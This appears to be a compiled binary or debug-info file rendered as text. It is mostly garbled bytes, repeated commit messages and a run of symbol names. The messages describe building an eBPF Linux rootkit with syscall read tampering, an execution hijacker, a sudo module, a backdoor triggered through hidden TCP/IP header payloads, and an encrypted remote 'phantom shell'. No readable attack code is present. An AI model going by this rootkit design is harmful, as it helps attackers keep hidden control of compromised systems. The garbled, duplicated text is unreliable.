FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Completed new backdoor packet stream parsing for V3 backdoor using hidden payloads in TCP and IP header positions
2022-05-09 16:36:39 -04:00
<EFBFBD>J<13>L
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted
2022-02-18 09:08:54 -05:00
<EFBFBD>J<13>L
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted
2022-02-18 09:08:54 -05:00
<EFBFBD>J<13> L
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<EFBFBD> <03><1E><03>at!<<03>  <09>Y&<03>_.X<0E>[<08><03>
Included new library version with support for tcp src port paylaod injection
2022-05-09 18:57:23 -04:00
<EFBFBD>x <08><08>] <09>u<06>2v<08> <0C><><EFBFBD> <0B><08><05>u<>'.u<> 'g/g<10>'K<1A><<>uYX<>gKZ<>0<><30>"'pt<14><02> uuY<06>LK[<5B><0F>u (<07><05><1E> <0C>Yu<1E> <0C>Yu<> <09> Z<08><05> wt <09> <0B>g
Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional
2022-05-07 17:55:27 -04:00
K<14><19>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
/ uZu0!u<08>KtK<1B><06> u<1F><06> YJb<>f<03><00><><EFBFBD> <09>Y<06>(<03>~t<05>u <0B><><05><08>
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD><05>
<08><><05><08>\?g#ft<
K u<08>&4<><10><06>K<08><01>!j
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<EFBFBD>uD <%<19><02><07>Y "<07>EK<03> 6
<EFBFBD> <0C>
<EFBFBD> <0C>
<EFBFBD> <0C>
<EFBFBD><03> .<03><08><>Z<> <0B><07><01> <0B><07><01><01>Z<> <0B><07><01><01>Z %
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<EFBFBD><03><07> <0A>$<04> <0B>E<>t0<0F>g <0A>g<0F>u<06><=<3D><04>>Y<04>!<08>u<11>YY<06><08><08><08>I<13>H<>t0" <0C>#<23><03>FBt0H"<03>
1DtB 9 Y<06>W<06>f<08>w
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
g<08>uhW
1 <09>tJ,ttK
5 <09>tJ0ttK
5 <09>tJ2ttK
5 vfJ%ffK
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
3 wY<06>v<08><19><16>g< Ye K<08>ɻ<10>u 1!<21><08> <0A><08><>!b<>$#Ƚ[ <05><03>
<08><08><06>g<03><08>[ <0C>g<08><><EFBFBD><08><08>g<03>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<08><02><>:<08><08><jt"&u(<28>!<21>vv<08><06>.i<07>'<07><03><08>2<08> /<i<08><04> z.<08>J!<04><01> vY<06>xdp_receive_____fmt_19backdoor_packet_log_16ifindexhandle_tp_sys_exit_read_____fmt_26ipv4_csum_____fmthandle_tp_sys_exit_read_____fmt_28handle_tp_sys_exit_read_____fmt_29bpf_map_inforesponse_shortbufnamex509_sthandle_sched_process_exec_IO_lock_tinputstderrformattm_yday_IO_buf_endargp_statemanage_backdoor_trigger_v3_16_____fmt_91manage_backdoor_trigger_v3_16_____fmt_92rlim_tflagsxdp_receive_____fmt_21xdp_receive_____fmt_22xdp_receive_____fmt_23xdp_receive_____fmt_24xdp_receive_____fmt_25sockaddrbpf_programhandle_tp_sys_exit_read_____fmt_30handle_tp_sys_exit_read_____fmt_31_IO_write_endunsigned intrlimitnext_freeres_listuser/kit.c_IO_codecvt_flagsexec_module_attrmap_extraroot_argpfs_openh_addr_listlevel__rlimit_resourcetm_mdayshort intns_s_udmax_entriespstatebackdoor_packet_log_32client_runmanage_backdoor_trigger_v3_32_____fmttm_gmtoffmap_expectbtf_custom_pathrlim_maxEXITmanage_backdoor_trigger_v3_16_____fmtactiveGNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectiontm_year__RLIMIT_LOCKSuint32_tprint_help_dialogd_portmodule_config_t__RLIM_NLIMITStm_mongp_offset_IO_save_endSSL_METHODmessagemmaped_IO_write_baseCOMMANDlong long unsigned inthandle_tp_sys_exit_read_____fmtserverrelaxed_core_relocsoverflow_arg_areassl_method_stcleanuprelaxed_mapsexpand_tcp_packet_payload_____fmtkit_bpf__open_opts__RLIMIT_NPROC_IO_read_base__uint16_tfs_module_attrkit_bpf__bssconnection_terminaterb_eventexec_moduleLIBBPF_WARNnetns_inoin_port_tmodify_payload_____fmttp_sys_enter_openat__RLIMIT_MEMLOCKINFO_filenolibbpf_print_levelsin_zeroxdp_receive_____fmt_11s_addrmanage_backdoor_trigger_v3_32_____fmt_84data_sizeargp_optionsize_tsa_family_targs_docpayloadconn_tries_markersmodify_payload_____fmt_99cert_Boolxdp_receive__RLIMIT_NICEargcxdp_module_attrinfo_lensin_family_IO_write_ptrbyteskit_bpf__loadexecute_commandh_addrtypecodekit_bpf__destroyprog_cnth_lengthmodule_config__RLIMIT_OFILE_flags2progbtf_key_type_idmapssin_addr__socket_typebtf_idcharobject_name__rlim_t_modebackdoor_phantom_shellmap_cnt__RLIMIT_NLIMITSexecute_key_command_____fmtns_s_max_IO_read_ptrexpand_tcp_packet_payload_____fmt_93expand_tcp_packet_payload_____fmt_94expand_tcp_packet_payload_____fmt_95expand_tcp_packet_payload_____fmt_96expand_tcp_packet_payload_____fmt_97dataerr_streamSOCK_DCCPxdp_receive_____fmt_1xdp_receive_____fmt_2xdp_receive_____fmt_3xdp_receive_____fmt_4xdp_receive_____fmt_5xdp_receive_____fmt_6xdp_receive_____fmt_7xdp_receive_____fmt_8xdp_receive_____fmt_9time_targp_domainns_s_znSOCK_PACKETbackdoor_phantom_shell_dataprog_skel_szbpf_objecttp_sys_enter_execvehostnamerlim_cur_IO_markerSOCK_DGRAMlong long inth_namesig_handlerhelp_filterRLIMIT_COREsin_portbtf_value_type_idsched_module_attrheaderhandle_tp_sys_exit_read_____fmt_27SSL_CTXevent_type__RLIMIT_RSSh_aliasesring_bufferrodata__RLIMIT_MSGQUEUE_freeres_bufX509_IO_backup_basecheck_phantom_payload_____fmtmanage_backdoor_trigger_v1_____fmtLIBBPF_INFORLIMIT_AS__pad5bpf_prog_skeletonprogsmap_flagsRLIMIT_FSIZEkit_bpf_vtable_offsetssl_stargpoptargargsmanage_backdoor_trigger_v3_16_____fmt_88argvmanage_backdoor_trigger_v3_16_____fmt_89long doubleattach_prog_fdvalue_sizemanage_backdoor_trigger_v3_32_____fmt_85uint16_tmanage_backdoor_trigger_v3_32_____fmt_87__ns_sectmaingroupexecute_key_command_____fmt_68execute_key_command_____fmt_69__u32xdp_modulefs_moduleargp_childlinks__u64rb_commRLIMIT_DATAout_stream_IO_save_base_IO_read_endexec_var_hijack_activeoptoptRLIMIT_CPUmodule_config_attr_thostns_s_nslong intoptionserror_tmanage_backdoor_trigger_v3_32_____fmt_83parserexecute_key_command_____fmt_70execute_key_command_____fmt_71manage_backdoor_trigger_v3_32___
Updated all components with phantom shell
2022-05-09 22:06:29 -04:00


Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
 %<25>)
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>5
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
 ;<3B><
Updated all components with phantom shell
2022-05-09 22:06:29 -04:00
A
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
?<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Z
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
 G<>a
Updated all components with phantom shell
2022-05-09 22:06:29 -04:00
f
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>q
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
 G<>{
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  I<> +<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. B<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>F  \<5C>K 9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>W )<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>_ *<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m  <00><>t y ?<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00> 9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00>  ċ<00> +<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00> A<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> B<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00> 9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> C<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+ #<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>K  <00><>U +<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\  <15>a 9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>h  %<25>s  ;<3B><00>  O<><00> +<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  ^<5E><00>  a<><00>  O<><00> +<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  n<><00>  q<><00>  O<><00> +<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3 )<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>F E<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> F<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> )<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00> G<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> H<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> #<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> /I<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>>J<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Z <00><>gK<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><00>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>5 ݌?+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>s <00><>x9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <17><00>$<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $<24><00>9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>L<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> L<><00>9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>N<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> t<><00>9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><>9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> O<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>M<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1 L<>69<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Q ȍ[+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>} <00><><00>9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>P<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <12><00>9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0<>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Z K<>b?<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> \<5C><00>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Q<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> G<><00>@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> G<><00>@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ~<7E>%+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ER<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>N <00><>S9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ~<7E><00>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>R<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>7 <00><>A+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>e#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>T<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>U<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>V<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ܑ<00> ܎<00>2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>8)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>D ܑK <00><>X2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ܑ<00> 4<><00>2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ܑ t<>2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>D)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>P ܑW <00><>d2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>XX<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`Y<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>mX<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>w <00><><00>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <18><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>D<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Z<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1<><00>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Z<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> E<>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!D<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+H<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>? _<>I[<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>h\<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>~]<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>]<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> l<><00>G<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)<00>
9<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> c<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BYd<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00

Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
<00>
d)
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
.
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<
<00>A
<00>M
<00>Y
"e
cq
<00>
q<00>
<00><00>
<00><00>
<00><00>
<00>
<00><00>
<00><00>
<00><00>
<00><00>
<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00

Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
<00>*
<00>7
xD
<00>Q
<00>^
<00>k
cx
<00><00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
j<00>
" <00>
<00><00>
L<00>
<00><00>
<00><00>
?<00>
<00><00>

<00> 
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>!
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>.
<00>;
NH
<00>U
<00>b
 o
<00> |
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
!<00>
<00><00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
 <00>
<00><00>
<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
 
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00> !
<00>-
<00>9
F
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>m
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00><00>
<00> <00>
r<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
+<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00><00>
<00><00>
 
<00>
<00>$
<00>2
@
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
N
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
z\
j
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>x
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00> <00>
_<00>
-<00>
<00> <00>
<00><00>
<00>
0<00>
[<00>
R <00>
<00>
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00

Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
4$
<00> 1
<00>>
<00> L
<00> <00>
<00>
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
2022-05-10 19:09:52 -04:00
<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
t<00>
<00><00>
<00>
<00><00>
j<00>
~
Added new hidden payload stream mode, now triggered using the source port. Fully integrated already, can select between that and seqnum in client. Both launch live encrypted shell via v3 backdoor
2022-05-09 20:16:13 -04:00

Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00

Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
$
|1
{A
1 H
}
<00><00>
<00><00>
<00> <00>
S<00>
<00><00>
^ <00>
<00> <00>
<00><00>
0<00>
 <00>
<00><00>
<00><00>
r<00>
<00>
<00> <00>
<00><00>
-<00>
<00><00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
<00>
~
 (
<00>6
<00> B
<00>N
Z
Ev
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00><00>
 <00>
` <00>
!<00>
<00> <00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
.<00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
_
<00>
G
x,
L:
s H
<00>Y
E ^
<00>p
;v
s |
6<00>
p<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00><00>
O<00>
<00><00>
Q <00>
%<00>
<00>
t
<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
+
0
<00>>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>Z
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>o
<00> }
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
G<00>
<00>
<00><00>
<00><00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00><00>
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00> <00>
L
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>.
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
\<
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
J
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00>
Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready
2022-05-10 23:04:19 -04:00
X
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
<00> <00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
j<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
\<00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
& <00>
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
